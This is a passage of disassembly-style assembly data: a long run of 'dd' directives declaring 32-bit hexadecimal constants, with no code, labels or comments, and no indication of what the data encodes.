		dd 0C83D8A4h, 2955F28h,	0E12EF566h, 0C87E7A10h,	0E201CDBBh
		dd 6665BB56h, 4A769FDBh, 10D86227h, 286409DAh, 13CCBB78h
		dd 260634B3h, 1A5D6015h, 71635A9h, 88AD8DD9h, 0EA8B0E21h
		dd 0D9801D00h, 60B4AF98h, 81E502D9h, 0C935025Bh, 0DDB94082h
		dd 0E0C5BCD6h, 0E0850113h, 0DD82FFCh, 8ED45881h, 792DCBF8h
		dd 0C93799EDh, 0A1CDCC88h, 0FD2473FEh, 0D10873FBh, 1709A3B6h
		dd 0B9B4A8Ah, 0FAA7CBB3h, 0F4C5E53Dh, 0E5AA80CFh, 24E8D99h
		dd 1F2E11FBh, 0BF515760h, 0FE88FCD9h, 0D1128282h, 89F215F7h
		dd 20617744h, 0E1E567C5h, 5981BC07h, 22C07484h,	0EC765632h
		dd 4ADBBF52h, 7725EF63h, 0F20C250Ah, 4FC10AD8h,	9938A840h
		dd 0C4A49DBBh, 0F83B25Bh, 0FD06FE03h, 877DE430h, 3A3338E0h
		dd 97261308h, 29970F35h, 549F5E59h, 3200EED3h, 7D224FCBh
		dd 0E5BC882Ah, 95C9E0EFh, 0C6556E7Ch, 0B3847953h, 53E5BD51h
		dd 0EB9F6180h, 32781382h, 44EE72F3h, 4EAE715Dh,	31168CE1h
		dd 3A58545Ah, 0F14F0D9Ch, 99582A04h, 0A9D07B8Fh, 0C3075DF9h
		dd 8B70E10Ah, 0F4A8FE51h, 6D71AEDCh, 950C398Ah,	0C245D3FAh
		dd 4A34A677h, 248FEC7Dh, 8E498A1Dh, 6E124980h, 0D2CEAD75h
		dd 16012F38h, 0F226762Dh, 0BD3FBCCh, 3E72DA6Fh,	8091BF6h
		dd 18067D7Bh, 923EE85Bh, 0F60C498Ch, 956F5A51h,	0B32BAD17h
		dd 73F70CBFh, 0D6A7835Ch, 0ADCBF6C7h, 0A080D48Dh, 0E361D3E5h
		dd 53294BA2h, 0B6BDC1FBh, 0D9827F2Fh, 0E2B137C8h, 18A7CE0Ah
		dd 3CD306Ch, 37A8FF7Eh,	0F1568C6h, 90002BA1h, 56E9Bh, 6405E974h
		dd 4F594618h, 0D4A9F2BEh, 7E7E4357h, 5C77A71Ch,	0D0B725D9h
		dd 0A4571EAAh, 1CF7E1B1h, 0DE42FA51h, 1290AD04h, 4C335472h
		dd 0B38C7492h, 0BA459432h, 1E9643C5h, 4A063C1Fh, 1DCADEECh
		dd 86C931CCh, 2C067676h, 1863AE46h, 0B2516FBFh,	0A685C7F9h
		dd 62BB14ACh, 0C8F3DF71h, 485CF25Dh, 55BDB778h,	674272Bh
		dd 0A2FCAB9h, 89728535h, 51B354B8h, 236F92Ch, 0EA7C7B3Dh
		dd 84BD3D67h, 0C4E657DAh, 0D15A2CFAh, 0E5CB83BCh, 2C1563F8h
		dd 75B7747Ch, 5C4D3120h, 0A64F801Eh, 0ACB7F7C1h, 0ABDF33BFh
		dd 0BA4DD6DEh, 0F55B6B33h, 1A59DAA3h, 0BC536C08h, 812872Ah
		dd 0F09EE835h, 160D3850h, 0EDC61343h, 0AAB99673h, 0AAA4BD1Bh
		dd 0F29C7744h, 0B90D0F44h, 86BAF086h, 0F292DB8Ch, 0AFBF546h
		dd 68E6CDBAh, 0EF52CF20h, 4714CB85h, 2AEA3E63h,	0E5894A8Dh
		dd 70A75167h, 10CA98C6h, 0A992E68Eh, 19EFFF3h, 43FD7997h
		dd 60E8B277h, 0BB04220Dh, 0A550B142h, 0CD1A9F1h, 0AB49A0B2h
		dd 4553DE52h
		dd 0B2A1CEBCh, 4491E693h, 0A7F19E95h, 6F44034Ah, 226278BFh
		dd 7CF36BEh, 48AD6312h,	5B31B5E1h, 8E21B63Dh, 0EA4A1645h
		dd 7349F77h, 0B8C3DD07h, 31CB1420h, 9600F236h, 80298130h
		dd 0F36AB06Bh, 1DF9E4C6h, 8B0D74A0h, 48B899AEh,	0F0E5F6Ah
		dd 0E14D0179h, 9806350Bh, 43800FACh, 0BE09C1F8h, 9BD7B735h
		dd 4A61F1A7h, 533892EDh, 0E41DC580h, 0F916D580h, 0BFDE0D4Dh
		dd 0ABF1E74Bh, 6012E41Fh, 9EB270C4h, 0E17DAE56h, 8DBF441Fh
		dd 457E0D70h, 39FE8948h, 0C19D6547h, 7F69EC09h,	4C69FEB2h
		dd 1E4BF492h, 0EFB9C6AFh, 3374D62Fh, 38E6968Fh,	567132E3h
		dd 4B3AA6ECh, 30C401BCh, 0DF251CA4h, 12CF1ECBh,	4FF66417h
		dd 74BB766Eh, 13089CFh,	960A966h, 585E2648h, 44122C55h
		dd 0A4B8D56Dh, 0FA2A8F0Bh, 0CD5DE1D5h, 826140F4h, 6EDD6ED5h
		dd 2343C18Eh, 94A2C42Bh, 543D28C8h, 48FF65BCh, 0FE4C7E74h
		dd 1E343483h, 0CEA1B22Dh, 0A6A93518h, 84611BB1h, 2B0ED548h
		dd 0D56EC6Fh, 884DE7B8h, 0E6ECC6F6h, 670B34F4h,	83045483h
		dd 0BDAD8735h, 0CC3745ECh, 5F045774h, 6D19325Ch, 66660CDAh
		dd 85EB9D04h, 0EB7AE9B5h, 0EC71F25Eh, 9A0CD7F4h, 1D5F377Eh
		dd 8EF547E5h, 80DCB53Fh, 0DDB95162h, 3C851522h,	330E8459h
		dd 0CD5E7B16h, 6F60800Bh, 0D8F25947h, 0DA177B2Eh, 54CEC745h
		dd 0D16C5146h, 0F617B0F0h, 5CA84E6Ah, 360CD183h, 970093DAh
		dd 8CB2E533h, 0D864D275h, 8B285AF0h, 0DA45F5D8h, 0A0297DAh
		dd 56F80501h, 98F4DEEFh, 0DA5F9F38h, 0A5A15751h, 0CD345ECDh
		dd 34C67F00h, 0C7EF1DEAh, 164AF5D3h, 5BBB41C4h,	0E1EF585Dh
		dd 4F2FEAA1h, 79C3BEEDh, 41E13147h, 3130DB32h, 4BEA5823h
		dd 0F540B473h, 0F11A3051h, 6AE8D83Dh, 0B9E94F3Ah, 4542B3F8h
		dd 0AF94D8CDh, 0F721B8DBh, 29610932h, 3C1FB505h, 86A230D6h
		dd 83025774h, 0BD007E73h, 0EBE4FC17h, 0FEAD5951h, 58FBDBF2h
		dd 965257FAh, 0EBA719Bh, 0CABB1071h, 8CC0211Dh,	525E08EFh
		dd 7A734FFCh, 0E5684561h, 72E96D48h, 0FD26831Bh, 0C968328Ch
		dd 0DF513BA4h, 0D122157Eh, 0D5678F1Eh, 0FFC1A55Fh, 0B0FBC1C4h
		dd 17674A0Ch, 0D32E9D8Fh, 6F9ED009h, 7C54373Ch,	4F3D4693h
		dd 0A977B2D2h, 0F65B7254h, 789AD0F6h, 72BF5ADBh, 0CE1BE2ADh
		dd 2F1BB0A2h, 2B8280F0h, 25C0DDCCh, 27503ADFh, 0D94C7324h
		dd 0F866ED27h, 6E8F84D7h, 230F5107h, 2910250Ch,	0EB162092h
		dd 1DB397A2h, 1A481ED4h, 84D098E0h, 29141DA2h, 0AC043557h
		dd 5FA415E7h, 7C808F17h, 1FB2D196h, 6BD6DEBFh, 6372BEDEh
		dd 2F6BC3ADh, 0DB317505h, 41752F3h, 0EBE1C5Fh, 0B70DEDDFh
		dd 917A768Bh, 6373E9F4h, 4C1B1C61h, 0ACD166D7h,	0A7B6F8Fh
		dd 91961960h, 0A4ED2AD3h, 0DFD12CAh, 7DDC23C7h,	987AE9AFh
		dd 0FC8DEBC9h, 0DE81E277h, 48F66BEBh, 2555C1Fh,	90139742h
		dd 0A4956422h, 0E4EE9676h, 0B19EB9h, 0E7C2428Dh, 0D8775C8Eh
		dd 9ECDF2A9h, 673B888Bh, 45872CA5h, 0BC919062h,	0D11A9BD0h
		dd 3033FE78h, 0B8B32CB8h, 0C181B523h, 9EBB7CD3h, 10E097DAh
		dd 0BEB2A325h, 15C9B5F0h, 0ACAC804h, 7C7FE20Bh,	2F518F87h
		dd 89E026B2h, 972607B2h, 8353B603h, 0D58F4E2Eh,	0B1F3E8Dh
		dd 0E316A3C9h, 60A60BD4h, 58204BCFh, 0C1D28E8Eh, 11D4A38Bh
		dd 0BEA25B3Bh, 0AD17D359h, 99949E3Eh, 0ACFC9C6h, 0CE97325Eh
		dd 6AD569C6h, 0CB206CD3h, 0BE4AE150h, 0EDBCB8D9h, 8D85F4F3h
		dd 7B3D91D3h, 0A362E9E7h, 12BCEE24h, 0A5006594h, 0F2241F67h
		dd 0EEDC89E2h, 3FCBE12h, 69CE2217h, 0FFAD04B4h,	0E798EB96h
		dd 2FB1085Ah, 2FCAC342h, 0C8A0763h, 6ACC65BEh, 0F97D0F76h
		dd 1E31233Dh, 68F568D6h, 0B9789D78h, 9D577719h,	0CCF503Fh
		dd 35099253h, 0E4BDB81Eh, 0B9D0BC71h, 0D08D6604h, 83DB5684h
		dd 3A701972h, 885CA297h, 3BB45937h, 6447B64Ch, 8EB1117Dh
		dd 0D95EC337h, 0A01A054Dh, 0ED24A2C3h, 6A5E55B1h, 0E024BE18h
		dd 0BCF60A95h, 0D062F1D0h, 0CA18776Eh, 446717B2h, 942393FDh
		dd 6DEA7C53h, 9D37F6A8h, 44DF1EA2h, 39735325h, 0B12467A0h
		dd 128B44D8h, 104A8B39h, 439429A7h, 942026AEh, 0FB337E80h
		dd 39537959h, 0DCB216FCh, 74C88282h, 216CCF37h,	4E8A9B67h
		dd 12539FBh, 0B09EDC3Eh, 1AD6C2CDh, 5C65085Bh, 0AE0849E2h
		dd 8E45B229h, 8344F0h, 7250B07Dh, 0F381D552h, 0DE438486h
		dd 0C1C513F2h, 88BDBE7Fh, 0D301DB84h, 17F3067Dh, 6C7EE4D4h
		dd 22438965h, 32EB4AB5h, 3C5AA0CCh, 7B49F432h, 1F49F92Fh
		dd 0F8D319C6h, 45739135h, 0D9F1CE2h, 0B799A8BDh, 24680D9Bh
		dd 0C4A27C0Dh, 18B645DFh, 623AF401h, 0DC367B61h, 45E2A037h
		dd 651339AEh, 44910FEDh, 210C80E9h, 0A2EA5F28h,	0A8B42F71h
		dd 0D4FCC2DDh, 95492854h, 0E239D18Dh, 8B140133h, 0C3866C19h
		dd 0F2B1BAFBh, 6883104Ch, 405071E5h, 80CA5940h,	0E106529Ah
		dd 5FE6B818h, 0AC765C5Bh, 0DAAE0722h, 0DEC4EC3Eh, 57189A3Ah
		dd 0E62A3504h, 0B51573D2h, 6582ED35h, 0DDD522A4h, 0FB31EE62h
		dd 0E8DF727Bh, 0DBB6B773h, 99FD7FB6h, 0AEED12D9h, 0FE051576h
		dd 0C2A8A2B0h, 0EB7965F0h, 8B2BD014h, 111F1233h, 0ABA71710h
		dd 0AADEB20Fh, 36AB8D62h, 8CF1E24Ah, 0B4531985h, 0A4B5C14Eh
		dd 0AA79EB91h, 6FC5B8DAh, 6E4B80EAh, 377A102h, 7B7AF4C5h
		dd 91342FF9h, 9C3BEFD9h, 9204ED64h, 18049ACFh, 169728E6h
		dd 3160F25Fh, 0B3F541FBh, 0E321A765h, 61711374h, 8FB75485h
		dd 415064F8h, 6C69AC5Fh, 0E6CE6508h, 1321E288h,	0EAD89E88h
		dd 6384FA8Fh, 928089D9h, 983BF402h, 0A4893393h,	582FF3FEh
		dd 0AE3380B2h, 0AFF91A07h, 623201B3h, 4F8D264h,	0F243AC24h
		dd 0ECB7176h, 2131B212h, 8355D7F9h, 9B0AE5E6h, 0FA4710ADh
		dd 0D6D4AA9Eh, 0EE465D19h, 0ED717D21h, 357F0DE4h, 42C9F417h
		dd 0CA894C80h, 66620C05h, 1E0BEFD7h, 0FACA3DDCh, 6460744Eh
		dd 21622A3Ch, 0FC5BCD24h, 5F680EEEh, 7C0F016Dh,	4BDB3D8Fh
		dd 799360CFh, 0DFF8591Fh, 2C59D1F3h, 453485B5h,	7AC1E70Bh
		dd 44815030h, 1129ADE0h, 0AAB8790Fh, 0A192B2CFh, 0BBBFB3DBh
		dd 54E5A563h, 6949CA40h, 58EFCB7Dh, 0A4F77E6Eh,	0B7A7F65Bh
		dd 0A7559D95h, 1B6DAF01h, 0EF01D4EBh, 86FA4947h, 12B9E121h
		dd 0F7A6C261h, 18D296Fh, 1F0DC71Bh, 0AA06C5F1h,	0BC69E9D2h
		dd 2B6FF0F6h, 0EDA8776Bh, 0D38CB95Dh, 7274C0B3h, 0F7D85A5Ah
		dd 41408564h, 3A31938Ch, 3CB65487h, 0B395994Dh,	32F5220Fh
		dd 0E211865Ah, 4A73F2EFh, 0B698BEF9h, 912F60D7h, 4B1F5894h
		dd 4FEBAEC2h, 0B6070BCDh, 6F904E8Ah, 0BF853D7Bh, 75C11757h
		dd 1609B691h, 28389C56h, 0C0026040h, 838CA115h,	0A6BF5E50h
		dd 88EA7407h, 6A6B0815h, 4F8E15F7h, 2573D6C0h, 0EAAC76E5h
		dd 4599935Bh, 0DBAC2496h, 575F3CD9h, 0D1CCA96Ah, 44D22231h
		dd 4F45A4Eh, 6F920194h,	91476394h, 36F64B14h, 91BD3095h
		dd 79B00AB8h, 0A595E23Ah, 45EB8562h, 19B3F5EEh,	1108E29Ah
		dd 72934D43h, 5A08EF55h, 6C116EA2h, 8B18CFF8h, 8727B24Eh
		dd 6D7C09E2h, 5417106Ah, 0B9877E39h, 0DE360961h, 91A6058Fh
		dd 52964585h, 8E1FBE1Dh, 61F284A4h, 75AA0D3Bh, 23832F5Eh
		dd 6728C95Eh, 0FA022C24h, 0DF7DFDB0h, 0C18AF43h, 3ECD8D09h
		dd 50D2996Dh, 0D8CC7C20h, 1E2CB3D9h, 5B305BD8h,	0DEEEE18h
		dd 0F6A7F379h, 8285016Dh
		dd 447572C6h, 1F780EA4h, 163BEA38h, 76193F88h, 85288198h
		dd 45521CA3h, 89F12781h, 0C1280B94h, 5F0AB5C3h,	0FA3619Bh
		dd 0D14398A0h, 85BA26B8h, 4A9A8C1Bh, 0B7D1D74Eh, 0BC6B867Eh
		dd 0EBB524B1h, 9CF5AB2Ch, 95D6C33Dh, 7CCFB1F8h,	0B6AC3606h
		dd 0A1B58A57h, 4F681ABCh, 0A933DD77h, 87416057h, 0C21993FBh
		dd 0AF1B0961h, 12BFB420h, 19609251h, 595CB554h,	0FBCDA820h
		dd 1E1AAB2Fh, 0EB3E251Eh, 4491D165h, 75D54429h,	52C6EF07h
		dd 41F3AF89h, 85BBF498h, 0FC20A437h, 5AFED70Ah,	45DC305Dh
		dd 0F0462FCFh, 0E25EBE1Ah, 3C10A739h, 0ACD8A00Ah, 1B705F86h
		dd 0F9282ED7h, 90B0F631h, 56E95EC2h, 0BFC64506h, 0FD0AC5F0h
		dd 67F3D1h, 0B9D67F66h,	911FDCD6h, 0D5FC50FCh, 0B9415AF7h
		dd 0F3604550h, 7C905B41h, 381E8354h, 875F1752h,	0AE8EC15Ah
		dd 214015F2h, 0B8B0ADAh, 1D3DB023h, 0B3798Eh, 0D5AB9FDBh
		dd 724AA858h, 85F9036Dh, 6B075A6Fh, 42D46A65h, 0DA12C78Eh
		dd 68805723h, 0C5488057h, 0A3A03D29h, 4B0E3105h, 15C3F66Dh
		dd 0A1ECDD02h, 489DF659h, 1034BFD1h, 5C02E8AFh,	6D2DF4FAh
		dd 0BD32EDB2h, 9C343CA4h, 943E6CADh, 750B2529h,	3D9C0888h
		dd 86CA911Fh, 6B879D17h, 0BDD6DBDh, 1DDDB910h, 0E1D851DEh
		dd 49395262h, 0A9455C0h, 0B0D13442h, 0E15C2E0Ah, 0D21657B7h
		dd 0E9C15FB9h, 1F3D0DAFh, 532CD9FAh, 904E6DECh,	0FEF0F203h
		dd 0A9F36284h, 737C9E17h, 5ABDF0A5h, 41F8329Dh,	0B063679Ch
		dd 0C13FFF7Fh, 3554EC25h, 2BAB78FEh, 34C68BD6h,	7BCCD25Dh
		dd 702FB6D5h, 97A01F8Ah, 0DF18F598h, 66C6F92Bh,	0C917B22Eh
		dd 0F685B1F3h, 1FFCA4BDh, 6BC43F6Fh, 0D73D6553h, 0FBC234F7h
		dd 0E97DAC9h, 0F1ADE6E5h, 5731C517h, 0D0BBB9A4h, 0BC51858h
		dd 87E15F83h, 0E15104DFh, 0FE9D3ED8h, 294FAD79h, 1ACD0F23h
		dd 0ABA1C8C0h, 0AF6F9D3Eh, 0A492801Fh, 88C1FE9Dh, 6A7B70BAh
		dd 1817D626h, 364D5327h, 8D750483h, 873EDBE0h, 34001BBAh
		dd 0F088CDB1h, 0B6942A03h, 60DD0804h, 2F4A3844h, 0EF63EFB1h
		dd 2B972E41h, 7C143E41h, 170428F8h, 0BE13C4D4h,	0C371314h
		dd 9F5479E2h, 67C550F1h, 9726276Bh, 177F7F49h, 408CB323h
		dd 0E5A680C8h, 2D04D0FAh, 80E70243h, 8D644E39h,	93B6DB23h
		dd 0AB70081h, 42117B31h, 61BA714Ah, 28BC2C67h, 6D628979h
		dd 0EA039597h, 43045B2Ch, 0F6091E62h, 7D3E3237h, 0B67AA48h
		dd 7036DB2Bh, 0CA5292Fh, 91ABF187h, 0D26A1431h,	0BF13AD4Eh
		dd 4AB91AB3h, 1ACC9A42h, 5B866690h, 4C92F84h, 2111C5A8h
		dd 82BE51F9h, 0AD368AFDh, 0BB259481h, 72C418F2h, 20284DCFh
		dd 47F2A043h, 661EFC9Dh, 57809367h, 0AC6E2497h,	0F1C4D9A6h
		dd 0D0131438h, 0B0C76629h, 0AF8C4E51h, 6EE5C766h, 3B3F38B8h
		dd 0B88A1A11h, 0F99C5915h, 39A97B6Eh, 24F53411h, 0D1BDB5DEh
		dd 2F776856h, 42552A67h, 0D306F48Ah, 7C2B8C7Ah,	0A415D95h
		dd 0B44C6EB5h, 0C33A48B8h, 8265BE84h, 0C420C24Bh, 69B7CCDEh
		dd 0D92D133Dh, 87A0FEEBh, 1BEE5B8Eh, 0C1A44CFBh, 24CCEB9Bh
		dd 8D565E6h, 0EB365F4Ah, 0C3A531ABh, 61D8EEE3h,	0BCF85D65h
		dd 0FB29B0D3h, 97FF791h, 0E8B3C360h, 649D795Eh,	0BEBC8CF0h
		dd 13425A76h, 0C4514824h, 0D498BE0Bh, 69EE5873h, 8D3913CBh
		dd 0E9E62108h, 7DCD0786h, 91108FCBh, 0F90BC972h, 0E762218Bh
		dd 0BE84B8BBh, 0F9909876h, 0BBAD9DFAh, 6551F76Ch, 72AABE92h
		dd 0B5C052D3h, 7CAE13C4h, 68B28DACh, 0FE85E2FBh, 68577F9Bh
		dd 578F9C4Ah, 0A055890Fh, 1DA9EA29h, 81BB31FDh,	0F853EB6Bh
		dd 9267E9BAh, 0F400D691h, 5ED17F4Ch, 0ECA6B70h,	789CC706h
		dd 56A67052h, 79B4C958h, 486610A4h, 0BF56234Fh,	30B6B5AEh
		dd 72041E21h, 2ED96E21h, 7D286FDAh, 0F4ED9CE0h,	2F96FC1Bh
		dd 6160799h, 7325CB3Fh,	0CB96668h, 6AEA1042h, 61DAF61Bh
		dd 4D75A3Ch, 9F29D9B9h,	7BD9F35Dh, 0ADF3B253h, 0AC78D6AFh
		dd 22B9264Ch, 0C8F3C95Eh, 0B06847A0h, 682F5C23h, 6B99E41Ah
		dd 0ECB8EFF7h, 0E8D505A8h, 0EBE118E5h, 0ED88925Ah, 291F8799h
		dd 0E80467BCh, 7AEF5DA8h, 0B8B630B9h, 0A9258C3h, 0FCC2143Dh
		dd 0E5FBF838h, 0BAAD5382h, 505CC28Dh, 0C824F8F7h, 36C19395h
		dd 0BFB651B0h, 0BB14BFC9h, 0E4FA898Bh, 73BDA419h, 9BA1F89Ah
		dd 9276E012h, 0D65FE55Ah, 62E05F65h, 0EC9F0A9Ch, 66D3E210h
		dd 75D73E7Ch, 8F84F2CEh, 0C5E0AB0Eh, 22375A9Eh,	84A1DDA5h
		dd 0A6FEFE17h, 0AF86B58Dh, 0D0EFA0DFh, 785B3AF6h, 0D2F137D9h
		dd 6CD72A9Bh, 0BE83A017h, 30936D23h, 8DD6BEBAh,	0A3EABEDCh
		dd 634104DEh, 9A4F1EBCh, 0AB00C73h, 2109E0C3h, 0D752DCFh
		dd 3D632491h, 1FDB786Dh, 18C6168Ah, 1708F2F9h, 276240EFh
		dd 92C2D6Fh, 0E8DABB16h, 0C509DDC1h, 9933DC6Fh,	0B6AE4EF9h
		dd 18482781h, 46D77105h, 0A56FE8DEh, 84943692h,	0E5F342C3h
		dd 0B66C692h, 4036BDB5h, 53C36E92h, 0AE1A19C9h,	48721A9Bh
		dd 0D0E86E88h, 3ABB65Ah, 0C8A11C08h, 3E8E16FCh,	0FD310321h
		dd 0DC57CD59h, 0E309C9FFh, 511907DDh, 10B25090h, 2360F292h
		dd 205DB633h, 46B1608Ch, 994D8A58h, 0B82CD89h, 0F1DBC25Eh
		dd 0A11A2648h, 444FEC91h, 10AD4861h, 72D479A3h,	54395B3h
		dd 5879E8F5h, 941A476Ch, 28FE0F35h, 13879D76h, 117C5557h
		dd 0D13DCFDFh, 8ECA2074h, 0EAE8126Eh, 0A6720209h, 84943100h
		dd 0C3EA343Dh, 153E2638h, 0B4F9FA38h, 337CD204h, 790D7C2Dh
		dd 5F7B753Ah, 188128BEh, 0D7CFB494h, 6C24A899h,	531A0A3Dh
		dd 4169273Bh, 0F96FE659h, 0AEB0951Ah, 1FFF9426h, 0C03E9FDEh
		dd 26F63BD2h, 5EB0E172h, 71071896h, 0D0001BC5h,	179AC483h
		dd 31ECD96h, 0BB70D8C4h, 1455B85Fh, 27FE8631h, 8187ABB4h
		dd 0E4372796h, 6748F19Eh, 22A0C4D0h, 0CE7CE4FDh, 0D417F7E2h
		dd 0EC973020h, 75EAEFA7h, 0E44DA764h, 27185595h, 0EA941EFCh
		dd 0EEF3EA3Eh, 4CEA027Ah, 4F019843h, 0E63A0838h, 38BFE7D4h
		dd 893FB5C4h, 2DC5687h,	0B9712ADCh, 213C5B3Ch, 658A60B4h
		dd 2772D999h, 5CD4494h,	201B2FDh, 61B12982h, 377DF0CCh
		dd 72671628h, 76C7D1Dh,	5605F223h, 0BF21333Eh, 11653A6Eh
		dd 5E900F74h, 8563D676h, 8C692570h, 5EF393B5h, 239B1D8Dh
		dd 976FCDF6h, 0F587B01Fh, 83D264B0h, 0BCA9F7CCh, 29CF724Fh
		dd 0C9E2B0AFh, 5D490918h, 1AEF0F25h, 72E467C3h,	0A7BCD6D5h
		dd 691FF3E8h, 7F8E043Fh, 0DB180058h, 21876C17h,	9C77D723h
		dd 0AC3B1459h, 65B4619Bh, 0EDCE58C3h, 0B54A2602h, 0EE14C63Bh
		dd 9DB3F53Eh, 7A4F55DDh, 0FB7F2CBEh, 1D847460h,	0F2770E17h
		dd 559DCE02h, 378E9F35h, 0F6CCB3D5h, 75709051h,	9697B19Dh
		dd 6AFF23FCh, 2CDC4C1Ah, 0FFE9BA5Ch, 4DE80293h,	32C8B1EFh
		dd 60290402h, 1401EA87h, 1DC3C600h, 0BBFEF81Ah,	4CA82458h
		dd 0ABB8B3Eh, 0FE2A986Ah, 302C28AAh, 7D6CCD56h,	1FD91F12h
		dd 5DB0E785h, 52005C6Dh, 0B4904BB5h, 1F917839h,	0D3A51188h
		dd 5AB155C2h, 0C106CDC7h, 8D13D52Dh, 0E98C6F9Eh, 61EC3946h
		dd 0E8C2139Bh, 175DAEEAh, 48A562F8h, 0A1DB36BBh, 8C2278E3h
		dd 2C6419B7h, 0BC518986h, 3AC23252h, 3D4E1373h,	48C8F95Dh
		dd 743DDABFh, 2D303F0h,	0A56B5F25h, 438882ABh, 861789C2h
		dd 57C6EE91h, 55E310ECh, 0DC3AFF6Fh, 0B39C05C0h, 0BE9E97F5h
		dd 0ED3920A0h, 0D6DDE956h
		dd 0A2149F10h, 31948AC4h, 1FCC8114h, 4A37F06Ch,	70A17F8Bh
		dd 190945E4h, 5073FD1Bh, 0B71BC48Fh, 45656C38h,	81578964h
		dd 0D3F8FBF4h, 5CD0C4E9h, 0A346FD10h, 34E89E2Ch, 0D73520B8h
		dd 8CC2721Bh, 0AB862038h, 34D50504h, 66CD731h, 68B77A1Fh
		dd 5FEEB28Bh, 13AEB759h, 53C751A1h, 0FFED786Fh,	2451F3D9h
		dd 0C13D2D0Bh, 0B3FF6529h, 0CC9DD45Eh, 0D0E7F453h, 0B34F390Ah
		dd 0F455EEAEh, 0F6A0FDB9h, 0AC8ED1Dh, 826ED96h,	7F933296h
		dd 6241A375h, 0AEA377C2h, 9DDA6C20h, 0D8701007h, 708699C6h
		dd 0F9CD7553h, 0E47D8EB7h, 0B16FBA89h, 322DB56h, 861E1BCBh
		dd 8AF44BD0h, 3721B1D4h, 56145818h, 0FA1492D7h,	3833F3BFh
		dd 8C114677h, 8CBEF7A7h, 17EC4403h, 5B70913h, 0B7212C39h
		dd 379B4874h, 3D88EF83h, 6386D69Eh, 0EADFF636h,	0E86A2086h
		dd 38F42114h, 0ED665CCFh, 16F3AEF4h, 0E04079C2h, 0F8303885h
		dd 2DD40073h, 0E743CA95h, 5A925AE6h, 3335D1A3h,	4F98CD69h
		dd 5B5CA89Bh, 0AC382E3Fh, 8947924Fh, 0E2797DCEh, 640CD935h
		dd 0B55D1D2h, 9B5552C7h, 0C4572C18h, 43A37BAh, 0DBD85FFh
		dd 64DF100Dh, 93EE3AE9h, 0CD2BE88Ch, 9A88E3F5h,	0DAF9B74Fh
		dd 8AAF8F9h, 0F24AFE1Dh, 834033h, 0C2906DF1h, 33861ED9h
		dd 83A5EEB2h, 5AB2EC4Bh, 8BA64502h, 10FA74D7h, 3526EEA8h
		dd 0E21154A7h, 0CB8A549Ah, 0CF8FD304h, 558F8FFFh, 0BC93D6Ch
		dd 7DA77F1Dh, 83872844h, 41DFEF95h, 180F8FA7h, 51B92172h
		dd 63239A78h, 203C5902h, 0E62ECD9Ah, 963FECEDh,	0B138A688h
		dd 0C732A038h, 6C988D29h, 6D95574Bh, 5EA42928h,	59520FE4h
		dd 0D9B3FF6Ah, 0D2C37F1Eh, 8E3CE2FCh, 0DA8A6799h, 7AD259D6h
		dd 0D46C33F9h, 0EA08434Fh, 0F380CA16h, 93AB5C98h, 9588553Fh
		dd 0B62D5275h, 0C5764C26h, 6C38B9Ah, 0C6184EDAh, 51409D86h
		dd 0A493B7CBh, 2DAC01Bh, 0D74FD53Eh, 4FEAD54Bh,	437E8721h
		dd 0F2602675h, 0B6876A9h, 7216311Ah, 1644C051h,	11B39063h
		dd 686FCFE3h, 0E923A25Bh, 23B63C6Dh, 0F32F1C1Dh, 99A86630h
		dd 0ED5F3419h, 79FF3249h, 3CC7AC4Ah, 0FDFC72B9h, 88E729D1h
		dd 730214Eh, 38E45F03h,	87695AC0h, 0B165671h, 1CC12049h
		dd 0A43361E0h, 69FC09C2h, 2AEB6E36h, 5DC558EEh,	47CBCADDh
		dd 2B33F26Dh, 0E90236E0h, 9C1EBD83h, 8FCA2885h,	0E1DEEBFDh
		dd 73A0C1E7h, 0CB5AE826h, 0C7E0FFFFh, 0DC8C0DA4h, 7BC09922h
		dd 1DB6EF17h, 2C5D5A1Bh, 0ECD45DC4h, 513EFF1Dh,	0A406FFB9h
		dd 2B707262h, 50104F28h, 88B3D2BDh, 0EAE6BB1Ch,	0BF5EAA44h
		dd 7722D8EBh, 6017D283h, 0BD80014Dh, 216214A4h,	46D23694h
		dd 0E1D5E5AAh, 0A272E248h, 0E52CA3ACh, 75C8F7F6h, 552536F8h
		dd 1899329Dh, 7487A2D9h, 7ADFB8B4h, 0A2B42262h,	4590195Fh
		dd 1B6D6B7Ch, 70F8B040h, 4BB7E62Fh, 197A969Ch, 0A34AB9BEh
		dd 61C82C7Dh, 24C5B6BAh, 60FF5FDh, 0C9609D2Dh, 0A1E69D28h
		dd 6FF845C2h, 96C7DEDh,	63F75218h, 5BD9D05Bh, 23768567h
		dd 558C9E31h, 69789B6Eh, 4C81BC7Ah, 3BF32831h, 0BE307E2Ah
		dd 5807FF93h, 0C7852396h, 7D351245h, 0C6E838F3h, 163FF660h
		dd 0B51A582h, 1E28A746h, 3FC7D5C6h, 577657F3h, 0B01B6BD5h
		dd 0C146F4A3h, 0A08F7498h, 9C4B937Dh, 370C012Dh, 0DEFC38F6h
		dd 558105F7h, 0DC3E2544h, 234DA47Ah, 71042A00h,	0ABE6BDE6h
		dd 2454DE6Fh, 0EF95F038h, 0A05E6867h, 42BAD384h, 7C1C9ADDh
		dd 0B372058Fh, 7611D8h,	7D590FC2h, 0B86FC6E8h, 0BCA6563Eh
		dd 0E9FB7B4Bh, 0B769D674h, 0B973B3FBh, 18F73682h, 552D2DBBh
		dd 0D4CE8ABh, 92F0419Ch, 0CFDDBB0Ah, 629D2494h,	0C0A755EEh
		dd 3B2A7116h, 0A951C91Fh, 0A908E9E4h, 0DDF4A460h, 0A7C1FCD3h
		dd 0A01295CBh, 5755A7E6h, 51D6B3A5h, 0F8EB049Dh, 67D4AB30h
		dd 0F492AB2Bh, 3B31D4C1h, 0B8FABD31h, 2DD197C9h, 63467600h
		dd 9F77914Fh, 0FB874DA6h, 0D2FBB304h, 724C387Dh, 0E5F38E34h
		dd 9CA419E3h, 39A09BA6h, 0F878898Ch, 0D8F468AFh, 0ACE8C22Ch
		dd 1FDCE050h, 2F792EF7h, 0D778D2Ch, 82371764h, 0F4083248h
		dd 9D5DF2D9h, 20871366h, 0E743501Ch, 13E88F45h,	0FEB5DB7Fh
		dd 3226BC7Ch, 0B64C5BB7h, 0CCD8480Dh, 849318CBh, 80570CCCh
		dd 491A2451h, 623D7F65h, 101AA0CAh, 58014297h, 163772F8h
		dd 20EBAEFDh, 0A0E2A568h, 88A7E229h, 388E3C49h,	3281E5F1h
		dd 6CBC88F4h, 23269CA7h, 11D868AFh, 8372B981h, 18DCC9BEh
		dd 0E0981DC1h, 6F5DAF8Ch, 0F08C361Eh, 7C3609DDh, 164496A3h
